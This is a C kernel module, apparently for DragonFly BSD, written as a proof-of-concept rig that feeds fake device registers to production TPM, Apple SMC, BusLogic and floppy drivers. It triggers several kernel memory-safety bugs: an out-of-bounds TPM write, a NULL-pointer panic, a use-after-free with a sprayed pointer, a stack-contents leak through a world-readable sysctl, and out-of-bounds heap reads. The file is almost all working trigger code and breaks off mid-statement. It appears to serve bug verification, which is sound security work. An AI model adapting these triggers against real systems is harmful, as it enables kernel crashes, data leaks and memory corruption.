/*
 * dfhw.c -- consolidated verification rig for DF-2403, DF-2407, DF-2408,
 *           DF-2409, DF-2430, DF-2456, DF-2457.
 *
 * All code under test is PRODUCTION code (loaded tpm.ko / apple_smc.ko
 * module symbols, or verbatim-compiled bt/fd sources with only symbol-
 * visibility renames).  This file contains ZERO driver logic: it
 * fabricates device state and fake bus register files, then dispatches
 * the production functions.  x86 data watchpoints (#DB, DR0/DR1,
 * temporary IDT[1] gate -- engine lifted from the proven DF-4349 rig)
 * give the fake register files per-access side effects:
 *
 *   TIS : TPM DATA port writes are counted; at N writes the fake chip
 *         drops TPM_STS_DATA_EXPECT so the production write loop exits
 *         with EIO after N bytes (N>1024 proves the OOB walk).
 *   LEG : Atmel legacy port protocol (index latch via port0 writes,
 *         response stream via port0 reads, status/id via port1).
 *   BT  : BusLogic command protocol (COMMAND_REG write selects the
 *         canned reply stream, DATAIN_REG reads consume it).
 *   SMC : CMD register write is acked (reads back 0 = success).
 *   FD  : FDC YE data-port stores are captured byte-by-byte.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/msgport.h>
#include <sys/bus.h>
#include <sys/rman.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/time.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/callout.h>
#include <sys/buf.h>
#include <sys/disk.h>

#include <machine/cpufunc.h>
#include <machine/segments.h>
#include <machine/md_var.h>

MALLOC_DEFINE(M_DFHW, "dfhw", "dfhw rig");

/* ------------------------------------------------------------------ */
/* watchpoint engine                                                   */
/* ------------------------------------------------------------------ */
enum wp_mode { WP_OFF = 0, WP_TIS, WP_LEG, WP_BT, WP_SMC, WP_FD };

static volatile enum wp_mode wp_mode = WP_OFF;
static volatile long	tis_cap_n;	/* -1 = never drop DATA_EXPECT */
static volatile u_long	tis_wcount;
static volatile u_int	leg_latch;
static volatile uint8_t bt_stream_sel;
static uint8_t		leg_idbytes[8];
static uint8_t		leg_stream[64];
static volatile int	leg_slen, leg_spos;
static uint8_t		*wp_base;
static size_t		wp_off0, wp_off1;
/* BT model */
static uint8_t		bt_trc[256];
static volatile int	bt_trc_n;
static uint8_t		*bt_stream_tab[256];
static int		bt_slen_tab[256];
static volatile int	bt_spos;
/* FD model */
static uint8_t		fd_pio_cap[2048];
static volatile int	fd_pio_n;

static void leg_prime(void);
static void bt_prime(void);

static void __attribute__((noinline, used))
df_dbg_service(unsigned long dr6)
{
	switch (wp_mode) {
	case WP_TIS:
		if (dr6 & 2) {			/* DATA port store completed */
			tis_wcount++;
			if (tis_cap_n > 0 &&
			    (long)tis_wcount >= tis_cap_n)
				wp_base[0x18] &= (u_int8_t)~0x08;
		}
		break;
	case WP_LEG:
		if (dr6 & 1) {			/* port0 access completed */
			uint8_t v = wp_base[wp_off0];
			if (v == leg_stream[leg_spos < leg_slen ?
			    leg_spos : leg_slen - 1])
				leg_spos++;	/* was the primed read */
			else
				leg_latch = v;	/* was an index write */
			wp_base[wp_off0] = leg_stream[leg_spos < leg_slen ?
			    leg_spos : 0];
		}
		if (dr6 & 2)			/* port1 access completed */
			leg_prime();
		break;
	case WP_BT:
		if (dr6 & 1) {			/* port1 WRITE = command */
			uint8_t op = wp_base[wp_off0];
			bt_spos = 0;
			bt_stream_sel = op;
			if (bt_trc_n < (int)sizeof(bt_trc) - 8) {
				bt_trc[bt_trc_n++] = 'C';
				bt_trc[bt_trc_n++] = op;
			}
			bt_prime();
		} else if (dr6 & 2) {		/* port1 READ = data-in */
			bt_spos++;
			if (bt_trc_n < (int)sizeof(bt_trc) - 8) {
				bt_trc[bt_trc_n++] = 'D';
				bt_trc[bt_trc_n++] = bt_spos;
			}
			if (bt_spos > 64)
				bt_spos = bt_slen_tab[bt_stream_sel] ?
				    bt_slen_tab[bt_stream_sel] : 64;
			bt_prime();
		}
		break;
	case WP_SMC:
		if (dr6 & 1)			/* STATUS write completed */
			wp_base[wp_off0] = 0x20;	/* re-assert READY */
		if (dr6 & 2)			/* CMD write completed */
			wp_base[wp_off1] = 0;	/* command ack: result 0 */
		break;
	case WP_FD:
		if (dr6 & 2) {			/* FDC data port store */
			if (fd_pio_n < (int)sizeof(fd_pio_cap))
				fd_pio_cap[fd_pio_n] = wp_base[wp_off1];
			fd_pio_n++;
		}
		break;
	default:
		break;
	}
}



static void
leg_prime(void)
{
	uint8_t v;

	if (leg_latch >= 0x0F00 && leg_latch < 0x0F08)
		v = leg_idbytes[leg_latch - 0x0F00];
	else if (leg_spos < leg_slen)
		v = 0x04;		/* status: DATA_AVAIL */
	else
		v = 0x00;
	wp_base[wp_off1] = v;
}

/* BT register layout (btreg.h): port1 is COMMAND on write, DATAIN on
 * read (BusLogic shares the register); status=0, intstat=2, geometry=3. */
#define BTR_STATUS	0
#define BTR_COMMAND	1
#define BTR_INTSTAT	2
#define BTR_DATAIN	1
#define BT_HA_READY	0x10
#define BT_DATAIN_RDY	0x04
#define BT_INTR_PEND	0x80
#define BT_CMD_COMP	0x04

static void
bt_prime(void)
{
	uint8_t *st = bt_stream_tab[bt_stream_sel];
	int sl = bt_slen_tab[bt_stream_sel];
	int left;

	if (st == NULL || sl <= 0) {	/* unmapped opcode: instant done */
		wp_base[BTR_STATUS] = BT_HA_READY;
		wp_base[BTR_INTSTAT] = BT_INTR_PEND | BT_CMD_COMP;
		wp_base[BTR_DATAIN] = 0;
		return;
	}
	left = sl - bt_spos;
	wp_base[BTR_STATUS] = BT_HA_READY | (left > 0 ? BT_DATAIN_RDY : 0);
	wp_base[BTR_INTSTAT] = left > 0 ? 0 : (BT_INTR_PEND | BT_CMD_COMP);
	wp_base[BTR_DATAIN] = st[bt_spos < sl ? bt_spos : sl - 1];
}

extern void df_dbg_stub(void);

static __inline unsigned long
rd_dr(int n)
{
	unsigned long v;
	switch (n) {
	case 0: __asm __volatile("movq %%dr0,%0" : "=r"(v)); break;
	case 1: __asm __volatile("movq %%dr1,%0" : "=r"(v)); break;
	case 6: __asm __volatile("movq %%dr6,%0" : "=r"(v)); break;
	case 7: __asm __volatile("movq %%dr7,%0" : "=r"(v)); break;
	default: v = 0;
	}
	return (v);
}
static __inline void
wr_dr(int n, unsigned long v)
{
	switch (n) {
	case 0: __asm __volatile("movq %0,%%dr0" :: "r"(v)); break;
	case 1: __asm __volatile("movq %0,%%dr1" :: "r"(v)); break;
	case 6: __asm __volatile("movq %0,%%dr6" :: "r"(v)); break;
	case 7: __asm __volatile("movq %0,%%dr7" :: "r"(v)); break;
	}
}

__asm__(
".text\n"
".globl df_dbg_stub\n"
".type df_dbg_stub,@function\n"
"df_dbg_stub:\n"
"	pushq %rax\n"
"	pushq %rcx\n"
"	pushq %rdx\n"
"	pushq %rsi\n"
"	pushq %rdi\n"
"	pushq %r8\n"
"	pushq %r9\n"
"	pushq %r10\n"
"	pushq %r11\n"
"	movq %dr6,%rdi\n"
"	movq %dr7,%rax\n"
"	pushq %rax\n"
"	xorq %rax,%rax\n"
"	movq %rax,%dr7\n"
"	subq $8,%rsp\n"
"	call df_dbg_service\n"
"	addq $8,%rsp\n"
"	popq %rax\n"
"	movq %rax,%dr7\n"
"	xorq %rax,%rax\n"
"	movq %rax,%dr6\n"
"	popq %r11\n"
"	popq %r10\n"
"	popq %r9\n"
"	popq %r8\n"
"	popq %rdi\n"
"	popq %rsi\n"
"	popq %rdx\n"
"	popq %rcx\n"
"	popq %rax\n"
"	iretq\n"
);

static unsigned long	sav_dr0, sav_dr1, sav_dr7;
static struct gate_descriptor sav_gate;
static int		wps_active;

/* DR7 encoding: L0/L1 enable; RWn 01=write 11=rw; LENn 01=1 byte */
#define DR7_L0		0x1UL
#define DR7_L1		0x4UL
#define DR7_RW0_W	(0x1UL << 16)
#define DR7_RW0_RW	(0x3UL << 16)
#define DR7_RW1_W	(0x1UL << 20)
#define DR7_RW1_RW	(0x3UL << 20)
#define DR7_LEN0_1	(0x1UL << 18)
#define DR7_LEN1_1	(0x1UL << 22)

static void
wps_arm(enum wp_mode m, uint8_t *base, size_t off0, size_t off1)
{
	int cpu = mycpuid;

	KKASSERT(!wps_active);
	wp_mode = m;
	wp_base = base;
	wp_off0 = off0;
	wp_off1 = off1;
	sav_gate = idt_arr[cpu][1];
	setidt(1, (alias_for_inthand_t *)&df_dbg_stub, SDT_SYSIGT, 0, 2, cpu);
	sav_dr0 = rd_dr(0); sav_dr1 = rd_dr(1); sav_dr7 = rd_dr(7);
	wr_dr(6, 0);
	switch (m) {
	case WP_TIS:
		wr_dr(1, (unsigned long)(base + off1));
		wr_dr(7, DR7_L1 | DR7_RW1_W | DR7_LEN1_1);
		break;
	case WP_FD:
		wr_dr(1, (unsigned long)(base + off1));
		wr_dr(7, DR7_L1 | DR7_RW1_W | DR7_LEN1_1);
		break;
	case WP_SMC:
		wr_dr(0, (unsigned long)(base + off0));
		wr_dr(1, (unsigned long)(base + off1));
		wr_dr(7, DR7_L0 | DR7_L1 | DR7_RW0_W | DR7_LEN0_1 |
		    DR7_RW1_W | DR7_LEN1_1);
		break;
	case WP_LEG:
		wr_dr(0, (unsigned long)(base + off0));
		wr_dr(1, (unsigned long)(base + off1));
		wr_dr(7, DR7_L0 | DR7_L1 | DR7_RW0_RW | DR7_LEN0_1 |
		    DR7_RW1_RW | DR7_LEN1_1);
		break;
	case WP_BT:
		wr_dr(0, (unsigned long)(base + off0));
		wr_dr(1, (unsigned long)(base + off1));
		wr_dr(7, DR7_L0 | DR7_L1 | DR7_RW0_W | DR7_LEN0_1 |
		    DR7_RW1_RW | DR7_LEN1_1);
		break;
	default:
		break;
	}
	wps_active = 1;
}

static void
wps_disarm(void)
{
	int cpu = mycpuid;

	if (!wps_active)
		return;
	wr_dr(7, 0);
	wr_dr(0, sav_dr0);
	wr_dr(1, sav_dr1);
	wr_dr(7, sav_dr7);
	wr_dr(6, 0);
	idt_arr[cpu][1] = sav_gate;
	wp_mode = WP_OFF;
	wps_active = 0;
}

/* ------------------------------------------------------------------ */
/* fake bus                                                            */
/* ------------------------------------------------------------------ */
static int
dfhb_attach(device_t dev)
{
	device_t child;

	child = device_add_child(dev, "dfsm", 0);
	if (child == NULL)
		kprintf("dfhw: dfsm add_child failed\n");
	child = device_add_child(dev, "dfbt", 0);
	if (child == NULL)
		kprintf("dfhw: dfbt add_child failed\n");
	child = device_add_child(dev, "dffd", 0);
	if (child == NULL)
		kprintf("dfhw: dffd add_child failed\n");
	bus_generic_attach(dev);
	return (0);
}

static int
dfhb_probe(device_t dev)
{
	return (0);
}

static device_method_t dfhb_methods[] = {
	DEVMETHOD(device_probe, dfhb_probe),
	DEVMETHOD(device_attach, dfhb_attach),
	DEVMETHOD_END
};
static driver_t dfhb_driver = { "dfhb", dfhb_methods, 0 };
static devclass_t dfhb_devclass;
DRIVER_MODULE(dfhb, nexus, dfhb_driver, dfhb_devclass, NULL, NULL);

/* ------------------------------------------------------------------ */
/* TPM production interfaces                                           */
/* ------------------------------------------------------------------ */
#include "tpmvar.h"
#include "tpm20.h"

extern int  tpm_tis12_write(struct tpm_softc *, void *, int);
extern int  tpmread(struct dev_read_args *);
extern int  tpmwrite(struct dev_write_args *);
extern int  tpm_tis12_start(struct tpm_softc *, int);
extern int  tpm_tis12_read(struct tpm_softc *, void *, int, size_t *, int);
extern int  tpm_tis12_end(struct tpm_softc *, int, int);
extern int  tpm_legacy_start(struct tpm_softc *, int);
extern int  tpm_legacy_read(struct tpm_softc *, void *, int, size_t *, int);
extern int  tpm_legacy_write(struct tpm_softc *, void *, int);
extern int  tpm_legacy_end(struct tpm_softc *, int, int);

#define TIS_ACCESS	0x00
#define TIS_IFCAPS	0x14
#define TIS_STS		0x18
#define TIS_DATA	0x24
#define TIS_IDREG	0x0F00
/* numeric mirror of tpm.c TPM_CAPSREQ | TPM_INTF_INT_EDGE_RISING
 * (0x0100|0x0080|0x0020|0x0004|0x0002|0x0001) */
#define TPM_CAPSREQ_VAL	0x01A7
#define TPM_STS_VALID_BIT	0x80
#define TPM_STS_READY_BIT	0x40
#define TPM_STS_EXPECT_BIT	0x08
#define TPM_BUFSIZ	1024

static uint8_t		tis_regs[0x8000] __aligned(4096);
static uint8_t		leg_regs[8] __aligned(4096);
static struct tpm_softc	rig_tis, rig_leg;

static void
tis_setup(long cap)
{
	memset(tis_regs, 0, sizeof(tis_regs));
	*(uint8_t *)(tis_regs + TIS_ACCESS) = 0xA0;
	*(uint32_t *)(tis_regs + TIS_IFCAPS) = TPM_CAPSREQ_VAL;
	*(uint32_t *)(tis_regs + TIS_IDREG) = 0xB15D0015;
	tis_regs[TIS_STS] = TPM_STS_VALID_BIT | TPM_STS_READY_BIT |
	    TPM_STS_EXPECT_BIT;
	tis_regs[TIS_STS + 1] = 0x40;
	memset(&rig_tis, 0, sizeof(rig_tis));
	rig_tis.sc_bt = (bus_space_tag_t)0x52524746ULL;
	rig_tis.sc_bh = (bus_space_handle_t)(uintptr_t)tis_regs;
	rig_tis.sc_vector = -1;	/* IRQUNK */
	rig_tis.sc_capabilities = TPM_CAPSREQ_VAL;
	/* production backend table exactly as tpm_attach() builds it */
	rig_tis.sc_start = tpm_tis12_start;
	rig_tis.sc_read = tpm_tis12_read;
	rig_tis.sc_write = tpm_tis12_write;
	rig_tis.sc_end = tpm_tis12_end;
	tis_wcount = 0;
	tis_cap_n = cap;
}

/* wrapped production write path: arm, run production tpmwrite, disarm */
static int
dfhtis_write(struct dev_write_args *ap)
{
	int rv;

	kprintf("dfhw: dev-write enter resid=%zd sc=%p start=%p wr=%p\n",
	    ap->a_uio->uio_resid, &rig_tis, rig_tis.sc_start,
	    rig_tis.sc_write);
	if ((long)ap->a_uio->uio_resid == 0)
		wps_arm(WP_TIS, tis_regs, 0, TIS_DATA);
	rv = tpmwrite(ap);
	kprintf("dfhw: dev-write tpmwrite returned %d\n", rv);
	if (wps_active)
		wps_disarm();
	return (rv);
}

static int
dfhtis_open(struct dev_open_args *ap)
{
	struct tpm_softc *sc = ap->a_head.a_dev->si_drv1;

	if (!sc)
		return (ENXIO);
	return (0);
}

static struct dev_ops dfhtis_ops = {
	{ "dfhtis", 0, 0 },
	.d_open = dfhtis_open,
	.d_write = dfhtis_write,
};

static int
dfhleg_read(struct dev_read_args *ap)
{
	int rv;

	/* re-prime the fake response stream for each read */
	leg_spos = 0;
	leg_latch = 0;
	leg_regs[0] = leg_stream[0];
	leg_regs[1] = 0x04;
	wps_arm(WP_LEG, leg_regs, 0, 1);
	rv = tpmread(ap);
	if (wps_active)
		wps_disarm();
	kprintf("dfhw: tpmread rv=%d stream consumed=%d/%d\n",
	    rv, leg_spos, leg_slen);
	return (rv);
}

static int
dfhleg_open(struct dev_open_args *ap)
{
	return (0);
}

static struct dev_ops dfhleg_ops = {
	{ "dfhleg", 0, 0 },
	.d_open = dfhleg_open,
	.d_read = dfhleg_read,
};

static cdev_t dfhtis_dev, dfhleg_dev;
static struct sysctl_oid *dfhw_go_oid;
static device_t dfhb_dev;

/* tpm20 */
static struct tpm_sc *t20p;
static uint8_t t20_saved[1024];

static int
rig_transmit(struct tpm_sc *sc __unused, size_t b __unused)
{
	return (0);
}

/* ------------------------------------------------------------------ */
/* Apple SMC production interface                                      */
/* ------------------------------------------------------------------ */
#include "smc.h"

struct dfsm_softc {
	struct apple_smc_softc	smc;	/* must be first: softc loan */
};

static uint8_t		smc_regs[0x4100] __aligned(4096);
static struct resource	smc_res;

static void
smc_setup(void)
{
	memset(smc_regs, 0, sizeof(smc_regs));
	memcpy(smc_regs + ASMC_MMIO_DATA + 0, "F0ID", 4);
	memcpy(smc_regs + ASMC_MMIO_DATA + 4, "LEFT", 4);	/* no NUL */
	smc_regs[ASMC_MMIO_DATA_LEN] = 8;
	smc_regs[ASMC_MMIO_STATUS] = ASMC_MMIO_STATUS_READY;
}

/* spray the current thread's kstack so uninitialized bytes are
 * recognizable when production sysctl code copies them out */
static void
kstack_spray(uint8_t pat, size_t len)
{
	uint8_t blob[8192];
	size_t i;

	if (len > sizeof(blob))
		len = sizeof(blob);
	memset((void *)blob, pat, len);
	for (i = 0; i < len; i += 64)
		blob[i] = (i & 0x40) ? (uint8_t)(pat + 1) : 0x00; /* NUL every 64 */
	__asm __volatile("" :: "r"(blob) : "memory");
}

static int
dfsm_fanid_wrap(SYSCTL_HANDLER_ARGS)
{
	int rv;

	wps_arm(WP_SMC, smc_regs, ASMC_MMIO_STATUS, ASMC_MMIO_CMD);
	rv = apple_smc_mb_sysctl_fanid(oidp, arg1, arg2, req);
	wps_disarm();
	return (rv);
}

static int
dfsm_spray(SYSCTL_HANDLER_ARGS)
{
	kstack_spray(0x5A, 30720);
	return (0);
}

/* ------------------------------------------------------------------ */
/* BusLogic verbatim compile                                           */
/* ------------------------------------------------------------------ */
#include "btreg.h"

struct dfbt_softc {
	struct bt_softc	bt;		/* must be first */
	uint8_t		canary[8];
};

static uint8_t		bt_regs[16];
static struct resource	bt_portres;
static uint8_t		bt_rpl_boardid[sizeof(board_id_data_t)];
static uint8_t		bt_rpl_fw3[1] = { '1' };
static uint8_t		bt_rpl_fw4[1] = { '0' };
static uint8_t		bt_rpl_esetup[sizeof(esetup_info_data_t)];
static uint8_t		bt_rpl_model[5] = { '7', '5', '7', 'C', 'D' };

/* ------------------------------------------------------------------ */
/* fd verbatim compile (generated fd_verbatim.c: symbol renames only)  */
/* ------------------------------------------------------------------ */
#include "fd_verbatim.h"

static uint8_t		fd_regs[32];
static struct fdc_data *rig_fdc;
static struct fd_data *rig_fd;

/* ------------------------------------------------------------------ */
/* rig devices                                                         */
/* ------------------------------------------------------------------ */
static device_t dfsm_dev, dfbt_dev, dffd_dev;

static int
dfsm_attach(device_t dev)
{
	struct dfsm_softc *sc = device_get_softc(dev);

	dfsm_dev = dev;
	smc_setup();
	memset(&sc->smc, 0, sizeof(sc->smc));
	lockinit(&sc->smc.sc_lock, "dfsm", 0, LK_CANRECURSE);
	sc->smc.sc_is_mmio = 1;
	smc_res.r_bustag = (bus_space_tag_t)0x52524746ULL;
	smc_res.r_bushandle = (bus_space_handle_t)(uintptr_t)smc_regs;
	sc->smc.sc_iomem = &smc_res;

	/* wire the PRODUCTION handler as a world-readable sysctl */
	SYSCTL_ADD_PROC(device_get_sysctl_ctx(dev),
	    SYSCTL_CHILDREN(device_get_sysctl_tree(dev)), OID_AUTO, "fanid",
	    CTLTYPE_STRING | CTLFLAG_RD, dev, 0,
	    dfsm_fanid_wrap, "A", "production fan id (wrapped: wp arm)");
	SYSCTL_ADD_PROC(device_get_sysctl_ctx(dev),
	    SYSCTL_CHILDREN(device_get_sysctl_tree(dev)), OID_AUTO, "spray",
	    CTLTYPE_INT | CTLFLAG_RD, dev, 0, dfsm_spray, "I",
	    "kstack canary spray");
	kprintf("dfhw: smc rig on dev.%s%d (fanid = production handler, "
	    "MMIO backend reporting len 8 for F0ID)\n",
	    device_get_name(dev), device_get_unit(dev));
	return (0);
}

static int
dfsm_probe(device_t dev)
{
	return (0);
}

static device_method_t dfsm_methods[] = {
	DEVMETHOD(device_probe,		dfsm_probe),
	DEVMETHOD(device_attach,	dfsm_attach),
	DEVMETHOD_END
};
static driver_t dfsm_driver = { "dfsm", dfsm_methods,
    sizeof(struct dfsm_softc) };
static devclass_t dfsm_devclass;
DRIVER_MODULE(dfsm, dfhb, dfsm_driver, dfsm_devclass, NULL, NULL);

static int
dfbt_attach(device_t dev)
{
	dfbt_dev = dev;
	return (0);
}
static int
dfbt_probe(device_t dev)
{
	return (0);
}

static device_method_t dfbt_methods[] = {
	DEVMETHOD(device_probe,		dfbt_probe),
	DEVMETHOD(device_attach,	dfbt_attach),
	DEVMETHOD_END
};
static driver_t dfbt_driver = { "dfbt", dfbt_methods,
    sizeof(struct dfbt_softc) };
static devclass_t dfbt_devclass;
DRIVER_MODULE(dfbt, dfhb, dfbt_driver, dfbt_devclass, NULL, NULL);

static int
dffd_attach(device_t dev)
{
	dffd_dev = dev;
	return (0);
}
static int
dffd_probe(device_t dev)
{
	return (0);
}

static device_method_t dffd_methods[] = {
	DEVMETHOD(device_probe,		dffd_probe),
	DEVMETHOD(device_attach,	dffd_attach),
	DEVMETHOD_END
};
static driver_t dffd_driver = { "dffd", dffd_methods, sizeof(struct fd_data) };
static devclass_t dffd_devclass;
DRIVER_MODULE(dffd, dfhb, dffd_driver, dffd_devclass, NULL, NULL);

/* ------------------------------------------------------------------ */
/* master control sysctl                                               */
/* ------------------------------------------------------------------ */
static int
dfhw_go(SYSCTL_HANDLER_ARGS)
{
	char cmd[96] = { 0 };
	int error, rv = 0;

	error = sysctl_handle_string(oidp, cmd, sizeof(cmd), req);
	if (error || req->newptr == NULL)
		return (error);

	if (strcmp(cmd, "smc_mmio") == 0) {
		kprintf("dfhw: smc MMIO regs live -- run as ANY user:\n"
		    "  sysctl dev.dfsm.0.spray\n"
		    "  sysctl dev.dfsm.0.fanid   (leak lands here)\n");
	} else if (strncmp(cmd, "tis ", 4) == 0) {
		long cap = strtol(cmd + 4, NULL, 10);
		int walk = (strstr(cmd, "walk") != NULL);

		tis_setup(walk ? -1 : cap);
		wps_arm(WP_TIS, tis_regs, 0, TIS_DATA);
		{
			uint8_t buf[TPM_BUFSIZ];
			memset(buf, 0xC3, sizeof(buf));
			kstack_spray(0xA7, 30720);
			rv = tpm_tis12_write(&rig_tis, buf, 0);
			kprintf("dfhw: PRODUCTION tpm_tis12_write(len=0) "
			    "rv=%d consumed=%lu bytes (buffer is %d); "
			    "last OOB byte delivered to TPM DATA port = "
			    "0x%02x (buffer fill 0xC3, kstack spray 0xA7)\n",
			    rv, tis_wcount, TPM_BUFSIZ, tis_regs[TIS_DATA]);
		}
		wps_disarm();
	} else if (strcmp(cmd, "tis_dev") == 0) {
		if (tis_regs[TIS_STS + 1] == 0)
			tis_setup(-1);	/* only if never set up */
		kprintf("dfhw: /dev/dfhtis0 armed for write(fd, buf, 0) "
		    "through PRODUCTION tpmwrite (capture cap=%ld)\n",
		    tis_cap_n);
	} else if (strcmp(cmd, "leg") == 0) {
		leg_stream[0] = 0; leg_stream[1] = 0xC1;
		leg_stream[2] = 0; leg_stream[3] = 0;
		leg_stream[4] = 0; leg_stream[5] = 12;
		leg_stream[6] = 0xAA; leg_stream[7] = 0xBB;
		leg_stream[8] = 0xCC; leg_stream[9] = 0xDD;
		leg_stream[10] = 0xEE; leg_stream[11] = 0xFF;
		leg_slen = 12; leg_spos = 0; leg_latch = 0;
		memset(leg_idbytes, 0, sizeof(leg_idbytes));
		memcpy(leg_idbytes + 4, "ATML", 4);
		memset(leg_regs, 0, sizeof(leg_regs));
		memset(&rig_leg, 0, sizeof(rig_leg));
		rig_leg.sc_batm = (bus_space_tag_t)0x52524746ULL;
		rig_leg.sc_bahm = (bus_space_handle_t)(uintptr_t)leg_regs;
		rig_leg.sc_bt = rig_leg.sc_batm;
		rig_leg.sc_bh = rig_leg.sc_bahm;
		/* production legacy backend table as tpm_attach() builds it */
		rig_leg.sc_start = tpm_legacy_start;
		rig_leg.sc_read = tpm_legacy_read;
		rig_leg.sc_write = tpm_legacy_write;
		rig_leg.sc_end = tpm_legacy_end;
		leg_regs[0] = leg_stream[0];
		leg_regs[1] = 0x04;
		kprintf("dfhw: legacy TPM armed -- read(/dev/dfhleg0, 12) "
		    "runs PRODUCTION tpmread; body read passes NULL count; "
		    "EXPECT panic: write to VA 0\n");
	} else if (strcmp(cmd, "t20_setup") == 0) {
		t20p = kmalloc(sizeof(struct tpm_sc), M_DFHW,
		    M_WAITOK | M_ZERO);
		t20p->dev = dfsm_dev;
		t20p->transmit = rig_transmit;
		rv = tpm20_init(t20p);
		kprintf("dfhw: PRODUCTION tpm20_init=%d, /dev/tpm0 live\n",
		    rv);
	} else if (strcmp(cmd, "t20_snapshot") == 0) {
		memcpy(t20_saved, t20p, sizeof(*t20p));
		kprintf("dfhw: t20 snapshot taken\n");
	} else if (strcmp(cmd, "t20_release_canary") == 0) {
		struct tpm_sc *clone;

		tpm20_release(t20p);
		kfree(t20p, M_DFHW);
		clone = kmalloc(sizeof(struct tpm_sc), M_DFHW,
		    M_WAITOK | M_ZERO);
		kprintf("dfhw: sc %p freed and resurrected at %p "
		    "(reuse=%s); stale 500ms callout fires into clone "
		    "with sc->buf=0x4141414141414141\n",
		    t20p, clone, (void *)clone == (void *)t20p ? "YES" : "no");
		memcpy(clone, t20_saved, sizeof(*clone));
		*(uintptr_t *)&clone->buf = 0x4141414141414141UL;
	} else if (strcmp(cmd, "bt") == 0) {
		struct dfbt_softc *sc = device_get_softc(dfbt_dev);
		device_t btdev = dfbt_dev;

		memset(bt_regs, 0, sizeof(bt_regs));
		memset(&bt_portres, 0, sizeof(bt_portres));
		bt_portres.r_bustag = (bus_space_tag_t)0x52524746ULL;
		bt_portres.r_bushandle =
		    (bus_space_handle_t)(uintptr_t)bt_regs;

		memset(sc, 0, sizeof(*sc));
		bt_init_softc(btdev, &bt_portres, NULL, NULL);

		memset(bt_rpl_boardid, 0, sizeof(bt_rpl_boardid));
		bt_rpl_boardid[2] = '4';	/* firmware_rev_major */
		bt_rpl_boardid[3] = '2';	/* firmware_rev_minor */
		{
			esetup_info_data_t *es =
			    (esetup_info_data_t *)bt_rpl_esetup;
			memset(es, 0, sizeof(*es));
			es->bus_type = 'X';	/* forces Inquire-Model */
		}
		memset(bt_stream_tab, 0, sizeof(bt_stream_tab));
		bt_stream_tab[0x04] = bt_rpl_boardid;
		bt_slen_tab[0x04] = sizeof(bt_rpl_boardid);
		bt_stream_tab[0x84] = bt_rpl_fw3;
		bt_slen_tab[0x84] = 1;
		bt_stream_tab[0x85] = bt_rpl_fw4;
		bt_slen_tab[0x85] = 1;
		bt_stream_tab[0x8D] = bt_rpl_esetup;
		bt_slen_tab[0x8D] = sizeof(bt_rpl_esetup);
		bt_stream_tab[0x8B] = bt_rpl_model;
		bt_slen_tab[0x8B] = 5;
		bt_spos = 0;
		bt_stream_sel = 0;
		wp_base = bt_regs;
		wp_off0 = BTR_COMMAND;
		wp_off1 = BTR_DATAIN;
		bt_prime();

		memset(sc->canary, 0x42, sizeof(sc->canary));
		kprintf("dfhw: bt_softc=%p size=%zu; canary byte at +%zu "
		    "is 0x42\n", &sc->bt, sizeof(struct bt_softc),
		    sizeof(struct bt_softc));

		wps_arm(WP_BT, bt_regs, BTR_COMMAND, BTR_DATAIN);
		rv = bt_fetch_adapter_info(btdev);
		wps_disarm();
		kprintf("dfhw: PRODUCTION bt_fetch_adapter_info=%d "
		    "model='%s' canary byte after softc = 0x%02x "
		    "(0x42=untouched, 0x00=OOB NUL write)\n",
		    rv, sc->bt.model, sc->canary[0]);
		kprintf("dfhw: bt watchpoint trace:");
		{
			int i;
			for (i = 0; i < bt_trc_n; i += 2)
				kprintf(" %c%d", bt_trc[i], bt_trc[i + 1]);
		}
		kprintf("\n");
	} else if (strncmp(cmd, "fd_form ", 8) == 0) {
		int nsecs = (int)strtol(cmd + 8, NULL, 10);
		size_t fi_sz = sizeof(struct fd_formb) + 2048;
		struct fd_formb *fi = kmalloc(fi_sz, M_DFHW, M_WAITOK | M_ZERO);
		struct buf *bp;

		memset(fi, 0x66, fi_sz);
		fi->format_version = FD_FORMAT_VERSION;
		fi->fd_formb_nsecs = (u_char)nsecs;

		rig_fdc = kmalloc(sizeof(struct fdc_data), M_DFHW,
		    M_WAITOK | M_ZERO);
		rig_fd = kmalloc(sizeof(struct fd_data), M_DFHW,
		    M_WAITOK | M_ZERO);
		rig_fdc->flags = FDC_NODMA;
		rig_fdc->fd = rig_fd;
		rig_fdc->fdu = 0;
		rig_fdc->portt = (bus_space_tag_t)0x52524746ULL;
		rig_fdc->porth = (bus_space_handle_t)(uintptr_t)fd_regs;
		rig_fdc->port_off = 0;
		rig_fd->fdc = rig_fdc;
		rig_fd->skip = (char *)&fi->fd_formb_cylno(0) - (char *)fi;
		memset(fd_regs, 0, sizeof(fd_regs));

		bp = getpbuf(NULL);
		bp->b_cmd = BUF_CMD_FORMAT;
		bp->b_data = (caddr_t)fi;
		bp->b_bcount = sizeof(struct fd_idfield_data) * nsecs;

		fd_pio_n = 0;
		wps_arm(WP_FD, fd_regs, 0, 6 /* FDC_YE_DATAPORT */);
		/* the PRODUCTION transfer call of fd.c:1905-1907 */
		fdcpio_prod(rig_fdc, bp->b_cmd, bp->b_data + rig_fd->skip,
		    bp->b_bcount);
		wps_disarm();
		kprintf("dfhw: PRODUCTION fdcpio moved %d bytes for "
		    "nsecs=%d (4*%d); the formb idfields region holds only "
		    "%d bytes; canary bytes captured from past the object: "
		    "%d\n",
		    fd_pio_n, nsecs, (int)(4 * nsecs), 4 * FD_MAX_NSEC,
		    fd_pio_n > 4 * FD_MAX_NSEC ?
		    fd_pio_n - 4 * FD_MAX_NSEC : 0);
		if (fd_pio_n > 144) {
			int i, first_66 = -1, first_67 = -1;
			for (i = 144; i < fd_pio_n && i < 2048; i++) {
				if (fd_pio_cap[i] == 0x66 && first_66 < 0)
					first_66 = i;
				if (fd_pio_cap[i] == 0x67 && first_67 < 0)
					first_67 = i;
			}
			kprintf("dfhw: first captured 0x66 (kmalloc canary "
			    "fill) at stream index %d; first 0x67 at %d -- "
			    "bytes from past the fd_formb heap object were "
			    "delivered to the FDC data port\n",
			    first_66, first_67);
			kprintf("dfhw: sample [144..175]: "
			    "%02x %02x %02x %02x %02x %02x %02x %02x "
			    "%02x %02x %02x %02x %02x %02x %02x %02x "
			    "%02x %02x %02x %02x %02x %02x %02x %02x "
			    "%02x %02x %02x %02x %02x %02x %02x %02x\n",
			    fd_pio_cap[144], fd_pio_cap[145], fd_pio_cap[146],
			    fd_pio_cap[147], fd_pio_cap[148], fd_pio_cap[149],
